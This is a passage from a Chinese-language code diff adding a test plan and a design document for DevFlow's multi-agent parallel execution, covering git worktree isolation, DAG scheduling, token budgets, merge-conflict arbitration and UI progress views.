| **集成测试** | 跨模块协作(dispatch+merge+worktree) | `#[tokio::test]` |
|
||||
| **端到端** | 用户发消息→Plan→并行→合并→展示 | 手动 + 日志验证 |
|
||||
|
||||
---
|
||||
|
||||
## 二、数据层与并行执行 测试用例
|
||||
|
||||
### 2.1 V36 迁移
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| MIG-01 | 新库空跑 V36 | 3 新表 + 2 列 ALTER 成功,ai_plans 为空 |
|
||||
| MIG-02 | 老库(有数据)跑 V36 | ai_messages/ai_tool_executions 加 subtask_id 列(NULL),原有数据不动 |
|
||||
| MIG-03 | V36 幂等(重跑) | 不崩溃,版本号已写入直接跳过 |
|
||||
| MIG-04 | 老库 ai_messages 有 100 条数据 | subtask_id 全部为 NULL,查询不报错 |
|
||||
|
||||
### 2.2 Repo CRUD
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| REPO-01 | PlanRepo.insert + get | 写入后能按 id 读回,字段完整 |
|
||||
| REPO-02 | PlanRepo.update_status | planning→executing→done 状态流转正确 |
|
||||
| REPO-03 | SubTaskRepo.insert + list_by_plan | 按 plan_id 查子任务,layer 排序正确 |
|
||||
| REPO-04 | SubTaskRepo.update_status | pending→running→done 流转 |
|
||||
| REPO-05 | ConflictRepo.insert + list_pending | 按 plan_id 查 resolution=pending 的冲突 |
|
||||
| REPO-06 | ConflictRepo.resolve | 更新 resolution + resolved_by + resolved_at |
|
||||
| REPO-07 | SubTaskRepo 查 branch=NULL | 非 Git 工程的 SubTask branch 为 NULL,查询正常 |
|
||||
|
||||
### 2.3 Coordinator 拆解
|
||||
|
||||
| ID | 场景 | 输入 | 预期 |
|
||||
|----|------|------|------|
|
||||
| DEC-01 | 读+写意图 | "先 read 文件再修改" | 2 SubTask(read→write),write deps=[read] |
|
||||
| DEC-02 | 纯读意图 | "分析现有代码结构" | 1 SubTask(read),无 deps |
|
||||
| DEC-03 | 纯写意图 | "implement new feature" | 1 SubTask(write),无 deps |
|
||||
| DEC-04 | 兜底意图 | "你好" | 1 SubTask(default) |
|
||||
| DEC-05 | 人设分配 | "review this code" | SubTask persona=reviewer |
|
||||
| DEC-06 | Plan 非空 | 任意非空输入 | plan.tasks.len() >= 1 |
|
||||
|
||||
### 2.4 Git worktree 隔离
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| WT-01 | worktree 创建 | `.devflow/wt/{plan_id}/A` 目录存在,git branch `subtask/{plan_id}/A` 存在 |
|
||||
| WT-02 | worktree 内 write_file | 写入落到 worktree 目录,主目录文件不变 |
|
||||
| WT-03 | 同层并行隔离 | SubTask A 写 main.rs,SubTask B 读 main.rs → B 读到的是 fork 基点内容,非 A 的改动 |
|
||||
| WT-04 | worktree commit | SubTask 完成后 git add+commit,分支有新 commit |
|
||||
| WT-05 | worktree 清理 | Plan 完成后 `.devflow/wt/{plan_id}/` 目录被移除 |
|
||||
| WT-06 | 非 Git 工程降级 | 无 .git 的工程 → branch=NULL,走串行,不崩溃 |
|
||||
| WT-07 | worktree 创建失败 | 磁盘满/权限不足 → 降级串行,日志告警 |
|
||||
|
||||
### 2.5 并行调度
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| PAR-01 | 线性链(2层×1任务) | Layer0 done → Layer1 启动,总耗时≈串行 |
|
||||
| PAR-02 | 并行层(1层×3任务) | 3 SubTask 并发执行,总耗时≈最慢的一个 |
|
||||
| PAR-03 | 钻石依赖 | A→{B,C}→D,B/C 并行,D 等 B+C 都 done |
|
||||
| PAR-04 | 层间隔离 | Layer1 的 SubTask 能读到 Layer0 merge 后的改动 |
|
||||
| PAR-05 | 单 SubTask 失败 | 标记 error,不中断同层其他 SubTask |
|
||||
| PAR-06 | 全部 SubTask 失败 | Plan.status=error |
|
||||
| PAR-07 | SubTask 超时(120s) | 标记 error,其他 SubTask 不受影响 |
|
||||
|
||||
### 2.6 Token 预算池
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| TOK-01 | 预算充足 | try_reserve(10k) → true,consumed+=10k |
|
||||
| TOK-02 | 预算超限 | consumed=98k,total=100k,try_reserve(5k) → false |
|
||||
| TOK-03 | 并发 reserve | 2 个 SubTask 同时 reserve(CAS 竞争) | 只有一个成功 |
|
||||
| TOK-04 | 超限降级串行 | 预算用完 → 剩余 SubTask 串行执行(不拒绝) |
|
||||
|
||||
### 2.7 事件协议
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| EVT-01 | AiPlanCreated | 前端 PlanProgress 立即展示 DAG 层结构 |
|
||||
| EVT-02 | AiSubTaskStatusChanged | 节点状态从 pending→running→done 更新 |
|
||||
| EVT-03 | AiMergeCompleted(无冲突) | 合并输出展示,无冲突徽章 |
|
||||
| EVT-04 | AiMergeCompleted(有冲突) | 冲突徽章出现 |
|
||||
| EVT-05 | AiConflictResolved | 冲突徽章消失 |
|
||||
| EVT-06 | 事件双写 | emit 和 publish_event 都触发 |
|
||||
|
||||
---
|
||||
|
||||
## 三、仲裁合并与冲突 测试用例
|
||||
|
||||
### 3.1 Git merge 冲突检测
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| MRG-01 | 无冲突合并 | A 改 file1,B 改 file2 → merge-tree 无冲突 → git merge 成功 |
|
||||
| MRG-02 | 同文件冲突 | A 改 main.rs 第10行,B 改 main.rs 第10行 → conflict markers 出现 |
|
||||
| MRG-03 | 同文件不冲突区 | A 改 main.rs 第10行,B 改 main.rs 第50行 → git 自动合并成功 |
|
||||
| MRG-04 | 跨层同文件 | Layer0 改 main.rs,merge 到 plan;Layer1 改 main.rs → 基于已含 Layer0 的版本,无冲突 |
|
||||
| MRG-05 | 三方合并预检 | git merge-tree 返回非空冲突列表 → 不执行 merge,标记 conflict |
|
||||
|
||||
### 3.2 编译检查(semantic 冲突)
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| CMP-01 | 合并后编译通过 | cargo check exit 0 → 无 semantic 冲突 |
|
||||
| CMP-02 | 合并后编译失败 | A 删函数 foo(),B 在调 foo() → cargo check 失败 → conflict_type=semantic |
|
||||
| CMP-03 | 前端项目 | tsc --noEmit 失败 → semantic 冲突 |
|
||||
| CMP-04 | 无构建工具的工程 | 跳过编译检查(无 cargo/tsc) → 不阻塞 merge |
|
||||
|
||||
### 3.3 Reviewer 仲裁
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| ARB-01 | Reviewer 推荐 A | diff_a 更完整 → resolution=a,resolved_by=reviewer |
|
||||
| ARB-02 | Reviewer 推荐 merged | 两者各有价值 → resolution=merged,给出合并方案 |
|
||||
| ARB-03 | Reviewer 无法判断 | 两者等价 → resolution=pending,留给用户 |
|
||||
| ARB-04 | Reviewer 超时 | LLM 调用超时 → 自动降级为 pending |
|
||||
|
||||
### 3.4 冲突解决闭环
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| RSV-01 | 用户选接受 A | resolution=a,文件应用 A 的改动,B 的改动丢弃 |
|
||||
| RSV-02 | 用户选手动 | resolution=manual,用户在 worktree 手动编辑后 commit |
|
||||
| RSV-03 | 全部冲突解决 | Plan.status 从 merging→done |
|
||||
| RSV-04 | 前端徽章更新 | AiConflictResolved 事件 → 冲突徽章消失 |
|
||||
|
||||
### 3.5 合并产出落回主对话
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| OUT-01 | 无冲突合并 | 主对话新增 1 条 assistant 消息(merged_output) |
|
||||
| OUT-02 | 有冲突合并 | 主对话新增 1 条 + 冲突徽章 |
|
||||
| OUT-03 | 展开查看子 Agent 轨迹 | 点击展开 → 从 ai_messages WHERE subtask_id=? 加载,按 SubTask 分组 |
|
||||
| OUT-04 | 折叠状态默认 | 新消息默认折叠,只显示摘要 |
|
||||
|
||||
### 3.6 命令互斥锁
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| LCK-01 | 同目录 npm install 并发 | 第二个等第一个完成才执行(不并行) |
|
||||
| LCK-02 | 不同目录 npm install | 并行执行(锁 key 含目录) |
|
||||
| LCK-03 | cargo + npm 同目录 | 不互斥(锁 key 含命令名) |
|
||||
|
||||
---
|
||||
|
||||
## 四、模板系统 测试用例
|
||||
|
||||
### 4.1 YAML 模板加载
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| TPL-01 | 合法 YAML 加载 | DagDef 结构完整,nodes/edges/conditions 正确解析 |
|
||||
| TPL-02 | 缺必填字段 | nodes 为空 → 报错"模板节点不能为空" |
|
||||
| TPL-03 | 依赖闭环 | A→B→A → 报错"依赖存在环" |
|
||||
| TPL-04 | 未知节点类型 | node.type="UnknownNode" → 报错"未知节点类型" |
|
||||
| TPL-05 | 内置模板加载 | 3 个内置模板(代码审查/bug修复/功能开发)全部加载成功 |
|
||||
| TPL-06 | 自定义模板 CRUD | 创建→读取→更新→删除,持久化到 DB |
|
||||
|
||||
### 4.2 SubflowNode
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| SUB-01 | 嵌套子工作流执行 | SubflowNode 加载子模板 → 递归执行 → 返回子工作流结果 |
|
||||
| SUB-02 | 子工作流审批 | 子工作流内的 HumanNode 审批 → 挂起 → 恢复 |
|
||||
| SUB-03 | 嵌套深度限制 | 超过 MAX_PLAN_DEPTH → 报错 |
|
||||
|
||||
### 4.3 新节点
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| NODE-01 | GitNode 创建分支 | branch_name 存在,git branch 列表可见 |
|
||||
| NODE-02 | GitNode commit | 工作区改动已提交,git log 有新记录 |
|
||||
| NODE-03 | HTTPNode GET | 请求成功,返回 body 存入 NodeOutput |
|
||||
| NODE-04 | HTTPNode 超时 | 30s 超时 → 返回错误,不阻塞 |
|
||||
| NODE-05 | NotifyNode 桌面通知 | 系统通知弹出 |
|
||||
| NODE-06 | NotifyNode Webhook | POST 到飞书/钉钉,HTTP 200 |
|
||||
|
||||
---
|
||||
|
||||
## 五、Git/CI 集成 测试用例
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| CI-01 | DockerNode 构建成功 | docker run cargo build → exit 0 → 构建产物存在 |
|
||||
| CI-02 | DockerNode 构建失败 | docker run cargo build → exit !=0 → 返回 stderr |
|
||||
| CI-03 | PR 创建 | GitNode push → API 创建 PR → PR URL 返回 |
|
||||
| CI-04 | CI 状态读取 | 调 API → 返回 check 结果(passed/failed/pending) |
|
||||
| CI-05 | 全链路 | 模板→分支→代码→commit→push→PR→CI→结果回显,全流程不中断 |
|
||||
| CI-06 | CI 失败时 | 前端 CI 面板显示红色,日志可查看 |
|
||||
|
||||
---
|
||||
|
||||
## 六、审批政策 测试用例
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| POL-01 | coder+Low → auto | 匹配规则 → 自动执行 |
|
||||
| POL-02 | coder+High → approve | 匹配规则 → 走审批 |
|
||||
| POL-03 | reviewer+任意 → auto | reviewer 只读工具,全部自动 |
|
||||
| POL-04 | 无匹配规则 | 降级到 auto_exec_mode 三档(向后兼容) |
|
||||
| POL-05 | 策略热加载 | 修改策略 → 下次工具调用立即生效(不重启) |
|
||||
| POL-06 | 策略冲突检测 | 同一 Persona+Node+Risk 有多条规则 → 优先级最高的生效 |
|
||||
|
||||
---
|
||||
|
||||
## 七、God 文件拆分 测试用例
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| REF-01 | agentic/mod.rs 拆分 | 拆出 compress/title/knowledge_inject 后,原文件<800 行,cargo check 通过 |
|
||||
| REF-02 | context.rs 拆分 | 拆出 sanitize/budget/compress 后,原文件<800 行,所有 context 测试通过 |
|
||||
| REF-03 | MessageList.vue 拆分 | 拆出 StreamRenderer/ToolCardGroup/EmptyState,vue-tsc 通过 |
|
||||
| REF-04 | ChatInput.vue 拆分 | 拆出 MentionPopover/EnrichmentPanel,vue-tsc 通过 |
|
||||
| REF-05 | 拆分后行为不变 | 原有所有单元测试/集成测试全绿 |
|
||||
|
||||
---
|
||||
|
||||
## 八、端到端手动测试
|
||||
|
||||
| ID | 场景 | 步骤 | 预期 |
|
||||
|----|------|------|------|
|
||||
| E2E-01 | 简单并行任务 | 发"先读取 main.rs 再修改 utils.rs" | PlanProgress 展示 2 层,Layer0 读,Layer1 写,最终合并输出 |
|
||||
| E2E-02 | 并行同文件冲突 | 发"同时重构 auth.rs 的两个函数" | 2 SubTask 并行改同文件 → 冲突徽章 → 用户选择 → 最终输出 |
|
||||
| E2E-03 | 取消并行任务 | 发消息→Plan 执行中→点停止 | 所有 SubTask 停止,worktree 清理,Plan.status=error |
|
||||
| E2E-04 | 切换会话后台执行 | 发消息→切换到另一个会话 | 原 Plan 后台继续,PlanProgress 在原会话保留 |
|
||||
| E2E-05 | 非 Git 工程 | 在无 .git 的项目中发并行任务 | 降级串行执行,正常完成 |
|
||||
| E2E-06 | 模板驱动全链路 | 选"功能开发"模板→AI 执行 | 从模板加载工作流→创建分支→写代码→测试→PR |
|
||||
| E2E-07 | 长对话不崩溃 | 50+ 轮对话后发并行任务 | token 预算池正常,不 OOM,PlanProgress 正常展示 |
|
||||
|
||||
---
|
||||
|
||||
## 九、边界与异常
|
||||
|
||||
| ID | 场景 | 预期 |
|
||||
|----|------|------|
|
||||
| EDGE-01 | 空 Plan | decompose 返回空 Plan → 不启动 dispatch,主对话正常回复(退单 Agent) |
|
||||
| EDGE-02 | 全部 SubTask 超时 | Plan.status=error,前端展示超时提示,worktree 清理 |
|
||||
| EDGE-03 | Git 不可用 | git 命令失败 → 降级串行,日志告警,不崩溃 |
|
||||
| EDGE-04 | DB 写入失败 | PlanRepo.insert 失败 → 降级不落库,内存态执行,日志告警 |
|
||||
| EDGE-05 | worktree 磁盘满 | 创建失败 → 降级串行 |
|
||||
| EDGE-06 | token 预算=0 | 设置项 df-ai-plan-token-budget=0 → 不限制(等价无限) |
|
||||
| EDGE-07 | 冲突解决时会话删除 | resolve_conflict IPC 到达时会话已删 → 忽略,清理 conflict 记录 |
|
||||
592
docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md
Normal file
592
docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md
Normal file
@@ -0,0 +1,592 @@
|
||||
# 多 Agent 并行执行与仲裁合并设计 — 2026-07-01
|
||||
|
||||
> 性质:架构设计 / 数据模型 / 事件协议 / UI 交互
|
||||
> 关联: [AI-Native方向与路线图-2026-06-29.md](../构想审查/AI-Native方向与路线图-2026-06-29.md)(P0 智能体人设 + 多 Agent 协作)
|
||||
> 关联: [单对话并行多轮-设计-2026-06-20.md](../单对话并行多轮-设计-2026-06-20.md)(Plan DAG 结构与分层调度)
|
||||
> 关联: [Agent架构说明-2026-06-14.md](Agent架构说明-2026-06-14.md)(当前 Agent 能力边界)
|
||||
> 关联: [三层模型-流程模板与人设体系-2026-06-28.md](三层模型-流程模板与人设体系-2026-06-28.md)(模板/工作流/人设三层抽象)
|
||||
> 用途:Batch 37-38 的实施依据
|
||||
|
||||
---
|
||||
|
||||
## 一、设计目标
|
||||
|
||||
DevFlow 的定位是 AI Native——AI 是系统的主要操作者,人的角色是「决策者 + 政策制定者」。
|
||||
|
||||
多 Agent 并行执行要解决的核心问题:
|
||||
|
||||
| 问题 | 现状(单 Agent) | 多 Agent 后 |
|
||||
|------|-----------------|------------|
|
||||
| 复杂任务拆解 | LLM 自行在单轮内拆,上下文窗口受限 | Coordinator 拆为 SubTask,各自独立上下文 |
|
||||
| 并行产出 | 串行,无冲突 | 多 Agent 同时改文件 → 数据竞争 |
|
||||
| 用户感知 | 单条流式输出 | 多 Agent 产出交织,用户分不清谁是谁 |
|
||||
| 错误恢复 | 一个工具失败 → LLM 下一轮决策 | 一个 SubTask 失败 → Coordinator 决定是否继续 |
|
||||
|
||||
---
|
||||
|
||||
## 二、数据模型(方案 C:混合)
|
||||
|
||||
### 2.1 设计原则
|
||||
|
||||
1. **messages 不膨胀** — 只加 `subtask_id` 外键列,不把 Plan/Conflict 字段塞进去
|
||||
2. **重实体独立** — Plan / SubTask / Conflict 各自独立表,各自演进
|
||||
3. **历史兼容** — `subtask_id = NULL` 表示单 Agent 时期消息,零回归
|
||||
4. **FK 三层链路** — messages → SubTask → Plan 可追溯完整生命周期
|
||||
|
||||
### 2.2 ER 图
|
||||
|
||||
```mermaid
|
||||
erDiagram
|
||||
ai_conversations ||--o{ ai_plans : "1:N 触发"
|
||||
ai_plans ||--o{ ai_subtasks : "1:N 拆解"
|
||||
ai_plans ||--o{ ai_conflicts : "1:N 冲突"
|
||||
ai_subtasks ||--o{ ai_messages : "1:N 产出(subtask_id FK)"
|
||||
ai_subtasks ||--o{ ai_tool_executions : "1:N 工具调用(subtask_id FK)"
|
||||
ai_conflicts }o--|| ai_subtasks : "subtask_a"
|
||||
ai_conflicts }o--|| ai_subtasks : "subtask_b"
|
||||
|
||||
ai_plans {
|
||||
TEXT id PK
|
||||
TEXT conversation_id FK
|
||||
TEXT user_message_id "触发 Plan 的用户消息"
|
||||
TEXT status "planning/executing/merging/done/error"
|
||||
INTEGER subtask_count
|
||||
TEXT created_at
|
||||
TEXT completed_at "可空"
|
||||
}
|
||||
|
||||
ai_subtasks {
|
||||
TEXT id PK
|
||||
TEXT plan_id FK
|
||||
TEXT persona_id "coder/reviewer/architect/..."
|
||||
TEXT intent "子任务意图描述"
|
||||
TEXT status "pending/running/done/error"
|
||||
INTEGER layer "DAG 层级(0起)"
|
||||
TEXT deps "JSON 数组: 依赖的 SubTask id 列表"
|
||||
TEXT created_at
|
||||
TEXT completed_at "可空"
|
||||
}
|
||||
|
||||
ai_conflicts {
|
||||
TEXT id PK
|
||||
TEXT plan_id FK
|
||||
TEXT file_path "冲突文件路径"
|
||||
TEXT subtask_a FK
|
||||
TEXT subtask_b FK
|
||||
TEXT diff_a "Agent A 对该文件的改动摘要"
|
||||
TEXT diff_b "Agent B 对该文件的改动摘要"
|
||||
TEXT resolution "pending/a/b/merged/manual"
|
||||
TEXT resolved_by "reviewer/user"
|
||||
TEXT created_at
|
||||
TEXT resolved_at "可空"
|
||||
}
|
||||
```
|
||||
|
||||
### 2.3 现有表改动
|
||||
|
||||
```sql
|
||||
-- V36 迁移
|
||||
ALTER TABLE ai_messages ADD COLUMN subtask_id TEXT;
|
||||
ALTER TABLE ai_tool_executions ADD COLUMN subtask_id TEXT;
|
||||
|
||||
-- 新建 3 张表(见 ER 图字段)
|
||||
CREATE TABLE ai_plans (...);
|
||||
CREATE TABLE ai_subtasks (
|
||||
...
|
||||
-- worktree 分支名(git worktree 隔离机制,见 §4.2)
|
||||
branch TEXT -- 如 "subtask/{plan_id}/A"
|
||||
);
|
||||
CREATE TABLE ai_conflicts (
|
||||
...
|
||||
-- 冲突类型(见 §4.2 四层防线)
|
||||
conflict_type TEXT DEFAULT 'file' -- 'file'(同文件) / 'semantic'(编译失败)
|
||||
);
|
||||
```
|
||||
|
||||
### 2.4 三层关联查询示例
|
||||
|
||||
```sql
|
||||
-- 查某 Plan 的全部产出(消息 + 工具)
|
||||
SELECT m.* FROM ai_messages m
|
||||
JOIN ai_subtasks s ON m.subtask_id = s.id
|
||||
WHERE s.plan_id = ?;
|
||||
|
||||
-- 查某 Plan 的所有冲突
|
||||
SELECT c.* FROM ai_conflicts c WHERE c.plan_id = ? AND c.resolution = 'pending';
|
||||
|
||||
-- 查某对话的全部 Plan 历史
|
||||
SELECT p.* FROM ai_plans p WHERE p.conversation_id = ? ORDER BY created_at DESC;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 三、事件协议
|
||||
|
||||
### 3.1 新增事件
|
||||
|
||||
| 事件 | 时机 | 载荷 | 前端响应 |
|
||||
|------|------|------|---------|
|
||||
| `AiPlanCreated` | Coordinator.decompose 完成后 | `{ plan_id, layers: [[{id, persona, intent, status}],...] }` | PlanProgress 展示 DAG |
|
||||
| `AiSubTaskStatusChanged` | SubTask 状态变更(pending→running→done/error) | `{ subtask_id, plan_id, status, persona_id }` | PlanProgress 更新节点状态 + 工具卡分组徽章 |
|
||||
| `AiMergeCompleted` | Coordinator.merge 完成后 | `{ plan_id, merged_output, conflicts: [{id, file, subtask_a, subtask_b}] }` | 展示合并结果 + 冲突徽章 |
|
||||
| `AiConflictResolved` | 用户/reviewer 解决冲突后 | `{ conflict_id, resolution, resolved_by }` | 冲突徽章消失 + 最终输出更新 |
|
||||
|
||||
### 3.2 事件流时序
|
||||
|
||||
```
|
||||
用户发送消息
|
||||
↓
|
||||
AiPlanCreated { plan_id, layers }
|
||||
↓ (PlanProgress 立即展示)
|
||||
Layer 0 启动
|
||||
↓
|
||||
AiSubTaskStatusChanged { subtask_0, running }
|
||||
AiSubTaskStatusChanged { subtask_1, running } ← 层内并行
|
||||
↓ (工具卡片按 subtask_id 分组,带 persona 徽章)
|
||||
AiSubTaskStatusChanged { subtask_0, done }
|
||||
AiSubTaskStatusChanged { subtask_1, done }
|
||||
↓
|
||||
Layer 1 启动 ...
|
||||
↓
|
||||
AiMergeCompleted { plan_id, merged_output, conflicts }
|
||||
↓ (有冲突 → 冲突徽章;无冲突 → 直接展示合并输出)
|
||||
用户点击冲突 → 展示 diff_a/diff_b → 选择
|
||||
↓
|
||||
AiConflictResolved { conflict_id, resolution }
|
||||
↓
|
||||
最终输出展示
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 四、并行执行策略
|
||||
|
||||
### 4.1 调度规则
|
||||
|
||||
```
|
||||
Plan.to_layers() → [[subtask_0, subtask_1], [subtask_2], [subtask_3, subtask_4]]
|
||||
Layer 0(并行) Layer 1(串行) Layer 2(并行)
|
||||
```
|
||||
|
||||
| 规则 | 说明 |
|
||||
|------|------|
|
||||
| 层间串行 | 上层全部 done + **Git merge 到 plan 分支后** 才创建下一层 worktree(fork 天然包含上层改动) |
|
||||
| 层内并行 | 同层 SubTask 各自创建 Git worktree,JoinSet 并发执行 |
|
||||
| 写工具天然隔离 | 每个 SubTask 在独立 worktree 内工作,write_file/patch_file 写到 worktree 目录(不重定向) |
|
||||
| 只读工具天然可见 | read_file 读 worktree 内文件(含本 worktree 改动 + fork 基点的全部历史) |
|
||||
| 层内隔离 | 同层并行 SubTask 互相看不到对方的 worktree 改动(独立分支,完全隔离) |
|
||||
|
||||
### 4.2 Git worktree 隔离机制
|
||||
|
||||
**核心思路**:用 Git worktree 替代自建暂存区,复用 Git 原生的分支隔离/diff/merge/conflict 能力。
|
||||
|
||||
#### 优势(vs 自建暂存区)
|
||||
|
||||
| 维度 | 自建暂存区 | Git worktree |
|
||||
|------|-----------|-------------|
|
||||
| 隔离 | 手动 cp 文件 | `git worktree add` 天然隔离 |
|
||||
| diff | 自己实现比对 | `git diff` 原生(含上下文/行级/二进制) |
|
||||
| 合并 | 手动 cp 或自写 merge | `git merge` 三方合并 |
|
||||
| 冲突解决 | 自建 diff 展示 | `git merge-tree` 预检 + conflict markers |
|
||||
| 回滚 | 手动备份/恢复 | `git reset` / `git checkout` |
|
||||
| 审计 | 自建日志 | commit history 天然审计链 |
|
||||
| AI 工具兼容 | write_file 需重定向路径 | worktree 就是普通目录,所有工具原样工作 |
|
||||
| PR 集成 | 需额外实现 | plan 分支直接创建 PR |
|
||||
|
||||
#### 数据流
|
||||
|
||||
```
|
||||
Plan 启动:
|
||||
git worktree add .devflow/wt/{plan_id} -b plan/{plan_id}
|
||||
(基于工程当前分支创建 plan 工作分支)
|
||||
|
||||
Layer 0 并行:
|
||||
SubTask A → git worktree add .devflow/wt/{plan_id}/A -b subtask/{plan_id}/A
|
||||
(基于 plan 分支创建,A 的所有工具操作在此 worktree 内,天然隔离)
|
||||
SubTask B → git worktree add .devflow/wt/{plan_id}/B -b subtask/{plan_id}/B
|
||||
(同上,B 完全隔离,A 看不到 B 的改动,反之亦然)
|
||||
SubTask A/B done 后各自 git add + git commit(改动落入各自分支)
|
||||
|
||||
Layer 0 merge(本层全部 done 后):
|
||||
① cd .devflow/wt/{plan_id} (plan 分支)
|
||||
② git diff plan..subtask/{plan_id}/A → A 的改动集
|
||||
③ git diff plan..subtask/{plan_id}/B → B 的改动集
|
||||
④ 同文件交集 → git merge-tree (三方合并预检)
|
||||
无冲突 → git merge subtask/{plan_id}/A && git merge subtask/{plan_id}/B
|
||||
有冲突 → Conflict 表记录 + Reviewer 仲裁 / 用户选择
|
||||
⑤ 合并完成 → plan 分支已含 Layer 0 全部改动
|
||||
|
||||
Layer 1 fork:
|
||||
基于 plan 分支最新 commit 创建新 worktree(天然包含 Layer 0 改动)
|
||||
|
||||
Plan 完成:
|
||||
① 编译检查:在 plan worktree 跑 cargo check / tsc --noEmit
|
||||
失败 → semantic 冲突标记
|
||||
② plan 分支创建 PR(可选,或直接 merge 回主分支)
|
||||
③ git worktree remove 清理所有子 worktree + plan worktree
|
||||
```
|
||||
|
||||
#### 读工具兼容规则
|
||||
|
||||
| 场景 | 行为 |
|
||||
|------|------|
|
||||
| 同层并行 SubTask 互读 | 不可见(独立 worktree + 独立分支) |
|
||||
| 下一层读上一层产出 | 可见(上一层已 merge 到 plan 分支,新 worktree 基于此创建) |
|
||||
| SubTask 读自己 worktree 内的写入 | 可见(worktree 是真实目录,写完即读) |
|
||||
|
||||
#### 非 Git 工程的降级
|
||||
|
||||
未绑定 Git 的工程(无 .git 目录)降级为串行执行(单 SubTask 逐个跑,无 worktree 隔离)。
|
||||
此时 ai_subtasks.branch 为 NULL,Coordinator.dispatch 走原串行路径。
|
||||
|
||||
### 4.3 冲突防护四层防线
|
||||
|
||||
| 防线 | 机制 | 覆盖冲突类型 |
|
||||
|------|------|------------|
|
||||
| **第一层:层间串行 + merge 后才 fork** | 上一层 merge 到 plan 分支后,下一层 worktree 基于此创建 | 跨层同文件覆盖 |
|
||||
| **第二层:同层 worktree 隔离 + merge-tree 预检** | 独立分支 + git 三方合并检测 | 同文件并发写 |
|
||||
| **第三层:编译检查** | merge 完成后在 plan worktree 跑 cargo check / tsc --noEmit,失败 → 标记语义冲突 | 跨文件语义冲突(删函数/改签名) |
|
||||
| **第四层:命令互斥锁** | run_command 对同目录的 npm/cargo 加 mutex | 资源竞争(npm install 并发) |
|
||||
|
||||
### 4.4 Token 预算管控
|
||||
|
||||
```rust
|
||||
struct TokenBudgetPool {
|
||||
total: AtomicU64, // 全局预算(来自设置项)
|
||||
consumed: AtomicU64, // 已消耗
|
||||
}
|
||||
|
||||
impl TokenBudgetPool {
|
||||
fn try_reserve(&self, estimate: u64) -> bool {
|
||||
// CAS 循环:consumed + estimate <= total
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- 每个 SubTask 启动前向预算池申请估算额度
|
||||
- 超限时 Coordinator 拒绝启动新 SubTask(降级为串行顺序执行剩余任务)
|
||||
- 预算来源:设置项 `df-ai-plan-token-budget`(默认 100k tokens)
|
||||
|
||||
### 4.5 错误传播
|
||||
|
||||
| 场景 | 策略 |
|
||||
|------|------|
|
||||
| SubTask 执行失败 | 记录 error 状态,**不中断其他同层 SubTask**(容错) |
|
||||
| 全部 SubTask 失败 | Coordinator 标记 Plan 状态为 error,前端展示错误 |
|
||||
| 部分 SubTask 失败 | merge 时跳过失败 SubTask 的分支(不 merge),只合并成功的 |
|
||||
| 子 Agent 超时 | 单 SubTask 超时(默认 120s)→ 标记 error,不影响其他 |
|
||||
| Git merge 冲突 | conflict markers 保留在 plan worktree,Reviewer Agent 仲裁或用户手动解决 |
|
||||
| 编译检查失败 | 标记 semantic 冲突,Reviewer Agent 尝试修复或标记给用户 |
|
||||
| worktree 创建失败 | 降级为串行(无 worktree 隔离,逐 SubTask 在主目录执行) |
|
||||
|
||||
---
|
||||
|
||||
## 五、UI 交互设计
|
||||
|
||||
### 5.1 PlanProgress 组件(发送即展示)
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────┐
|
||||
│ 📋 执行计划 2/4 │
|
||||
├─────────────────────────────────────────┤
|
||||
│ Layer 1 │
|
||||
│ ▶ 🔵 [coder] 重构代码 running │
|
||||
│ 🟢 [architect] 分析结构 done │
|
||||
│ ↓ │
|
||||
│ Layer 2 │
|
||||
│ ⏸ [tester] 补测试 pending │
|
||||
│ ↓ │
|
||||
│ Layer 3 │
|
||||
│ ⏸ [reviewer] 审查 pending │
|
||||
└─────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
- **发送即展示**:用户发消息后 Coordinator 分解完成立即展示
|
||||
- **实时更新**:AiSubTaskStatusChanged 驱动节点状态变化
|
||||
- **折叠工具卡**:每个 SubTask 下的工具卡片折叠归组(点击展开)
|
||||
- **层间箭头**:DAG 层级关系可视化
|
||||
|
||||
### 5.2 工具卡片分组(subtask_id 归组)
|
||||
|
||||
```
|
||||
┌─ 🔵 [coder·重构代码] ──────────────┐
|
||||
│ ▸ read_file main.rs ✓ done │
|
||||
│ ▸ patch_file utils.rs ✓ done │
|
||||
└────────────────────────────────────┘
|
||||
┌─ 🟢 [architect·分析结构] ──────────┐
|
||||
│ ▸ list_directory ✓ done │
|
||||
│ ▸ 分析结论: 模块耦合度偏高... │
|
||||
└────────────────────────────────────┘
|
||||
```
|
||||
|
||||
- 每个 SubTask 一个折叠容器,带 persona 颜色徽章
|
||||
- 工具卡片归入对应 SubTask 容器
|
||||
- 默认折叠,有审批/错误时自动展开
|
||||
|
||||
### 5.3 冲突展示(徽章非阻塞)
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────┐
|
